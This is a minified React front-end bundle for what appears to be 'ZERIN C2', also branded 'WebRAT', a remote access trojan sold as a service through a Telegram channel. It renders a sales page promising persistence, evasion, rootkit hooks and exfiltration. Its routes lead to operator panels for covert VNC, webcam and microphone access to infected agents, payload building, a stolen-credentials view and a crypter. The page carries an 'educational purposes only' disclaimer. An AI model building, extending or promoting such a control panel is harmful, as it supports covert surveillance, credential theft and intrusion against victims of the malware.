a.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[a.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),a.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),a.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[a.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,s)=>a.jsx(FV,{feat:i,delay:s*50,visible:r},i.name))}),e.terminal&&a.jsx("div",{className:"hidden lg:block",children:a.jsx("div",{className:"sticky top-24",children:a.jsx(BV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function UV({activeId:e}){return a.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:a.jsx("div",{className:"flex flex-col gap-1",children:Vi.map(t=>a.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[a.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function sc({value:e,label:t,suffix:n=""}){return a.jsxs("div",{className:"text-center",children:[a.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),a.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function VV(){const[e,t]=m.useState(!1),[n,r]=m.useState(Vi[0].id);m.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),m.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Vi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=m.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),s=Vi.reduce((o,l)=>o+l.features.length,0);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx($V,{}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsxs(xt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsx(UV,{activeId:n}),a.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),a.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),a.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[s," capabilities across ",Vi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),a.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[a.jsx(sc,{value:String(s),label:"Capabilities"}),a.jsx(sc,{value:"13",label:"Persist Methods"}),a.jsx(sc,{value:"11",label:"Rootkit Hooks"}),a.jsx(sc,{value:"256",label:"Proxy Channels"})]}),a.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Vi.map(o=>a.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),a.jsx("div",{className:"max-w-6xl mx-auto px-6",children:a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),a.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Vi.map((o,l)=>a.jsx(WV,{cat:o,index:l},o.id))}),a.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",s," capabilities included."]}),a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"View Pricing"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function oc({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0})}function HV({children:e}){const{isAuthenticated:t,isAdmin:n}=ya();return t?n?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0}):a.jsx(la,{to:"/login",replace:!0})}function Z2({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(la,{to:"/dashboard",replace:!0}):a.jsx(a.Fragment,{children:e})}function KV(){const[e]=Sx(),t=xr();return m.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(Cx(n),zi()),t("/dashboard",{replace:!0})},[e,t]),null}function YV(){const{isAuthenticated:e}=ya();return e?a.jsx(la,{to:"/dashboard",replace:!0}):Ex()?a.jsx(aA,{}):a.jsx(la,{to:"/login",replace:!0})}function qV(){return a.jsx(j_,{children:a.jsxs(EE,{children:[a.jsx(mt,{path:"/",element:a.jsx(YV,{})}),a.jsx(mt,{path:"/auth",element:a.jsx(KV,{})}),a.jsx(mt,{path:"/features",element:a.jsx(VV,{})}),a.jsx(mt,{path:"/payment/:id",element:a.jsx(RV,{})}),a.jsx(mt,{path:"/login",element:a.jsx(Z2,{children:a.jsx(sA,{})})}),a.jsx(mt,{path:"/register",element:a.jsx(Z2,{children:a.jsx(oA,{})})}),a.jsx(mt,{path:"/vnc/:id",element:a.jsx(oc,{children:a.jsx(bV,{})})}),a.jsx(mt,{path:"/webcam/:id",element:a.jsx(oc,{children:a.jsx(SV,{})})}),a.jsx(mt,{path:"/mic/:id",element:a.jsx(oc,{children:a.jsx(PV,{})})}),a.jsxs(mt,{element:a.jsx(oc,{children:a.jsx(Q_,{})}),children:[a.jsx(mt,{path:"/dashboard",element:a.jsx(WU,{})}),a.jsx(mt,{path:"/agents/:id",element:a.jsx(mV,{})}),a.jsx(mt,{path:"/events",element:a.jsx(hV,{})}),a.jsx(mt,{path:"/payloads",element:a.jsx(gV,{})}),a.jsx(mt,{path:"/credentials",element:a.jsx(LV,{})}),a.jsx(mt,{path:"/crypter",element:a.jsx(TV,{})}),a.jsx(mt,{path:"/admin",element:a.jsx(HV,{children:a.jsx(OV,{})})})]}),a.jsx(mt,{path:"*",element:a.jsx(la,{to:"/",replace:!0})})]})})}Mm.createRoot(document.getElementById("root")).render(a.jsx(Ah.StrictMode,{children:a.jsx(RE,{children:a.jsx(qV,{})})}));